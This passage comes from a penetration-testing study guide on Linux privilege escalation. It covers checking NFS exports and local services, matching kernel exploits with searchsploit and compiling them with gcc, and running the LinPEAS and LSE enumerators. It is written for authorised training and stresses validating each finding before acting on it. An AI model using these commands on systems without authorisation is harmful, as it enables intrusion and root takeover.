Listener: 127.0.0.1:DATABASE_PORT
Export option candidate: no_root_squash

Recognize this detail: A local-only service or export mapping creates a specific investigation route, not automatic escalation.

Still missing before method selection: For the service check accepted identity/rights; for NFS check client mapping, write permissions, mount flags and target-side consumer.

Outcome after checkingExample and next decision
Enabled after validationThe complete mapped-file or authenticated local-service primitive is verified: select it.
Ruled out in this contextroot_squash/nosuid or insufficient service rights defeats the proposed privileged chain.
InconclusiveExport text or a listen socket without actual access leaves the candidate incomplete.

If you do not yet have this clue: start with Establish Linux state and choose an escalation candidate.

5.1.18.3 Prerequisites

Starting access: A verified Linux foothold with a known effective UID, groups and filesystem context. Required conditions: Relevant export/mount options or service authentication; effective identity, writable path and any privileged execution consumer.

5.1.18.4 Discover and verify prerequisites

findmnt
cat /etc/exports 2>/dev/null
ss -lntup
ss -lxnp

5.1.18.5 Why it works

A new mount or local listener changes reachable objects, not automatically privilege. NFS numeric-ID mapping, squash options and local service rights must be tested in their actual context.

5.1.18.6 Execute and choose variants

findmnt
cat /etc/fstab
mount
ss -lntup
ss -lxnp

For NFS, a writable export plus no_root_squash can trust client-root-created ownership/SUID metadata. Confirm export options, writable mount, target-side mount options and compatible execution. See NFS/RPC.

Root-only loopback services and UNIX sockets are candidates only. Identify protocol/authentication and prove a privileged action through a controlled request, configuration, plugin or file.

5.1.18.7 Worked example — hypothetical

Observation: a loopback database is inaccessible externally. Test: identify its credentials and access it locally or through a justified forward. Illustrative output: data reads succeed as a limited DB user. Interpretation: follow the database's actual rights.

5.1.18.8 Verify the result

Verify the actual file/service operation, mapped identity and any resulting execution effect.

5.1.18.9 Failure and fallback

An exposed export or listener is only a candidate. Validate mapping, authentication and consumer before claiming escalation.

5.1.18.10 Continue from the interpreted result

Observed resultCheck before proceedingNext numbered section
RPC/NFS listeners or export informationReachable RPC/NFS transports, permitted client address and an export whose UID/GID mapping grants relevant access§1.2.7 — Inspect RPC/NFS exports and effective file identity
A MySQL-compatible service and valid application/database credentialsDatabase authentication and exact schema/file privileges; secure_file_priv and server filesystem identity constrain file actions§1.2.15 — Use MySQL/MariaDB data and file primitives
SSH reaches a server that can access the needed internal serviceAccepted SSH identity and forwarding policy; local listener availability and SSH-server-to-destination route§6.1.3.7 — Forward a selected service through an SSH client-side listener

5.1.19 Select an evidence-matched Linux software or kernel exploit

Choose when: Permission/credential paths are insufficient and an exact affected build/configuration is present · Result: A justified local exploit test and independently verified privilege result

Blocks: 8. Operational procedure | Quick sheet

5.1.19.1 Purpose and result

A justified local exploit test and independently verified privilege result.

5.1.19.2 Recognition clues

Permission/credential paths are insufficient and an exact affected build/configuration is present.

5.1.19.2.1 Find the clue from your starting access

Where to investigate: Collect distribution build/package/architecture and the required local feature before comparing a specific advisory/PoC.

Discovery action — reference example:

Access/context: A verified Linux foothold with a known effective UID, groups and filesystem context

Conditions, effects and verification

Requires: Vulnerable package/kernel state, architecture, mitigations, namespaces and documented exploit-specific conditions

Action class: Includes enumeration and permission-backed privileged execution; distinguish the selected step.

Stop/verify: Verify actual effective UID/host context after the exploit, keeping the reviewed source and adaptation record.

Failure/next check: Wrong build, missing feature or mitigation can invalidate the PoC. Choose another evidence-backed candidate rather than cycling random local exploits.

uname -a
cat /etc/os-release
getconf LONG_BIT

Illustrative evidence — synthetic, abbreviated:

The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.

Kernel release: KERNEL_RELEASE
Distribution package/build: VENDOR_BUILD
Required vulnerable feature: not yet verified

Recognize this detail: A version-associated advisory is a candidate; backports and feature state determine applicability.

Still missing before method selection: Collect uname and the distribution's package/build plus architecture. Match the advisory's vulnerable feature and vendor patch status before choosing a PoC; try a confirmed sudo/file/credential route first when one exists.

Outcome after checkingExample and next decision
Enabled after validationAffected code/configuration and compatible reviewed PoC are established: select its bounded test.
Ruled out in this contextThe vendor build includes the fix or required feature is absent: reject that exploit.
InconclusiveA release string without patch/configuration evidence leaves vulnerability unconfirmed.

If you do not yet have this clue: start with Establish Linux state and choose an escalation candidate.

5.1.19.3 Prerequisites

Starting access: A verified Linux foothold with a known effective UID, groups and filesystem context. Required conditions: Vulnerable package/kernel state, architecture, mitigations, namespaces and documented exploit-specific conditions.

5.1.19.4 Discover and verify prerequisites

uname -a
cat /etc/os-release
getconf LONG_BIT

5.1.19.5 Why it works

Kernel release strings can hide patched distributions. A matching CVE needs affected code/configuration and compatible exploit assumptions; a crash is neither success nor proof that another build will work.

5.1.19.6 Execute and choose variants

uname -a
cat /proc/version
cat /etc/os-release
dpkg -l 2>/dev/null
rpm -qa 2>/dev/null
sudo --version
lsmod
sysctl kernel.unprivileged_userns_clone 2>/dev/null
searchsploit "PRODUCT VERSION local privilege escalation"
searchsploit -x EDB_ID
searchsploit -m EDB_ID
gcc -Wall -Wextra exploit.c -o exploit
file exploit
sha256sum exploit

Match component, exact distribution/build and patch/backport state, architecture, required configuration/capabilities/namespaces, mitigations and dependencies. Review source and recovery risk. A version title or successful compilation is only a candidate. Follow public exploit adaptation.

5.1.19.7 Worked example — hypothetical

Observation: an automated tool names a kernel CVE. Test: compare the distribution patch/build and required feature. Illustrative output: the vendor build includes the fix. Interpretation: reject the candidate and return to unexamined permissions/applications.

5.1.19.8 Verify the result

Verify actual effective UID/host context after the exploit, keeping the reviewed source and adaptation record.

5.1.19.9 Failure and fallback

Wrong build, missing feature or mitigation can invalidate the PoC. Choose another evidence-backed candidate rather than cycling random local exploits.

5.1.19.10 Continue from the interpreted result

Observed resultCheck before proceedingNext numbered section
A product/version clue, advisory or component-specific public PoCExact vulnerable build/configuration, required access and endpoint behavior; reviewable source and a verifiable expected effect§4.1.5 — Match a public exploit to the actual component and configuration
An existing C/C++ or platform-specific PoC matches the candidateCorrect compiler/target architecture, runtime dependencies, documented payload constraints and validated exploit-specific constants§4.1.7 — Compile and minimally adapt an existing native or memory-corruption PoC
A new Linux foothold or an identity/privilege changeA working command channel and accurate effective identity, group, mount and process context§5.1.5 — Establish Linux state and choose an escalation candidate

5.1.20 Use enumeration tools to generate manually testable candidates

Blocks: 8. Operational procedure | Quick sheet

5.1.20.1 Purpose and result

Candidate permissions, credentials and consumers for manual validation.

5.1.20.2 Recognition clues

A Linux foothold is available; run an early sweep for sudo rules, file capabilities, credentials and writable privileged paths.

5.1.20.2.1 Find the clue from your starting access

Where to investigate: Use known manual gaps and the host/runtime context to choose a reviewed enumerator; inspect each highlighted finding against native evidence.

Discovery action — reference example:

Access/context: A verified Linux foothold with a known effective UID, groups and filesystem context

Conditions, effects and verification

Requires: Verified target UID and architecture, a working shell/runtime, a reviewed transferred tool and a writable report location

Action class: Includes enumeration and permission-backed privileged execution; distinguish the selected step.

Stop/verify: Read linpeas.txt. Confirm a reported sudo rule with sudo -l, a privileged path with namei/stat/getfacl, or a scheduled consumer with pspy before using that finding

Failure/next check: Script blocked or output empty: check the shell, transfer integrity and output path, then use the native checks for the observed rule/file/job. Empty collector output does not rule out escalation

id
uname -m
command -v bash python3
ls -ld /tmp

Illustrative evidence — synthetic, abbreviated:

The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.

Enumerator candidate: writable /opt/APP/script.sh
Consumer identity: unknown
Trigger: unknown

Recognize this detail: The highlight supplies a candidate object, not the missing privileged consumer or execution trigger.

Still missing before method selection: Run the reviewed LinPEAS baseline and save its output. For sudo highlights run sudo -l; for a flagged file use stat/namei/getfacl; for jobs confirm the UID and command with pspy or systemctl. Open the matching technique only after that check.

Outcome after checkingExample and next decision
Enabled after validationThe full manual chain validates: follow its owning method.
Ruled out in this contextOnly a low-privileged process consumes the object: reject the escalation hypothesis.
InconclusiveMissing tools or restricted /proc can hide evidence; investigate application-specific paths manually.

If you do not yet have this clue: start with Establish Linux state and choose an escalation candidate.

5.1.20.3 Prerequisites

Starting access: A verified Linux foothold with a known effective UID, groups and filesystem context. Required conditions: Verified target UID and architecture, a working shell/runtime, a reviewed transferred tool and a writable report location.

5.1.20.4 Discover and verify prerequisites

id
uname -m
command -v bash python3
ls -ld /tmp

5.1.20.5 Why it works

Enumerators aggregate observations and heuristics. A highlighted path does not prove effective ACLs, privileged consumption, trigger or successful exploitation.

5.1.20.6 Execute and choose variants

For the early collector pass, transfer a reviewed LinPEAS copy, check the current UID/architecture and save its output. This form does not require an executable bit:

sh ./linpeas.sh | tee linpeas.txt

Follow the named finding into the matching sudo, SUID/capability, writable-consumer or credential procedure. Use the local help for optional modes; broader/noisier checks are not the automatic baseline.

./linpeas.sh | tee linpeas.txt
./lse.sh | tee lse.txt
./lse.sh -l1 | tee lse-l1.txt
./unix-privesc-check standard > unix-privesc-check.txt

LinPEAS optional flags vary by build. Read the local ./linpeas.sh -h before selecting broader checks; they are not the automatic baseline. LSE progresses from default to -l1, then -l2 only if needed. unix-privesc-check detailed is slower and more false-positive-prone.

For every highlight:

exact object | effective permission | privileged consumer | identity | trigger | expected effect | manual verification

Do not pipe an unverified Internet download into the target shell. Acquire a trusted copy, retain its source/hash, transfer deliberately and remove assessment artifacts when appropriate.

5.1.20.7 Worked example — hypothetical

Observation: LinPEAS highlights a writable path. Test: inspect its exact ACL, parent rights and consumer. Illustrative output: only an unprivileged process uses it. Interpretation: reject the escalation hypothesis while retaining the writable-path fact.

5.1.20.8 Verify the result

Read linpeas.txt. Confirm a reported sudo rule with sudo -l, a privileged path with namei/stat/getfacl, or a scheduled consumer with pspy before using that finding

5.1.20.9 Failure and fallback

Script blocked or output empty: check the shell, transfer integrity and output path, then use the native checks for the observed rule/file/job. Empty collector output does not rule out escalation

5.1.20.10 Continue from the interpreted result

Observed resultCheck before proceedingNext numbered section
A root-consumed file or directory appears writableEffective access through every parent/ACL and mount; a privileged consumer and trigger are identified separately§5.1.6 — Prove effective file, directory, ACL and mount control
Root-owned cron, systemd or recurring process activity uses a controllable objectEffective object control, actual privileged consumer identity, correct path/environment and an available schedule/restart trigger§5.1.12 — Control a script, binary or configuration consumed by a privileged job/service
sudo -l grants an operation under a more useful identityExact executable/run-as/argument rule permits a useful primitive; password tags, environment and policy do not invalidate it§5.1.8 — Use an allowed sudo operation to cross a privilege boundary

5.1.21 Sources and shared concepts

Supplied PEN-200 Ch 18 pp550–582. Hexdump Linux modules cover permissions, sudo/SUID, PATH, wildcards, capabilities and cron. GTFOBins supplies binary-specific modes after prerequisite validation.

Commands and their adjacent variant conditions are synchronized extracts of the linked operational procedures. Those procedures own complete execution details; this guide owns method selection, explanations and worked reasoning. Tool availability on the learner's Kali or a target must be checked in that environment.


Top of document · Reference home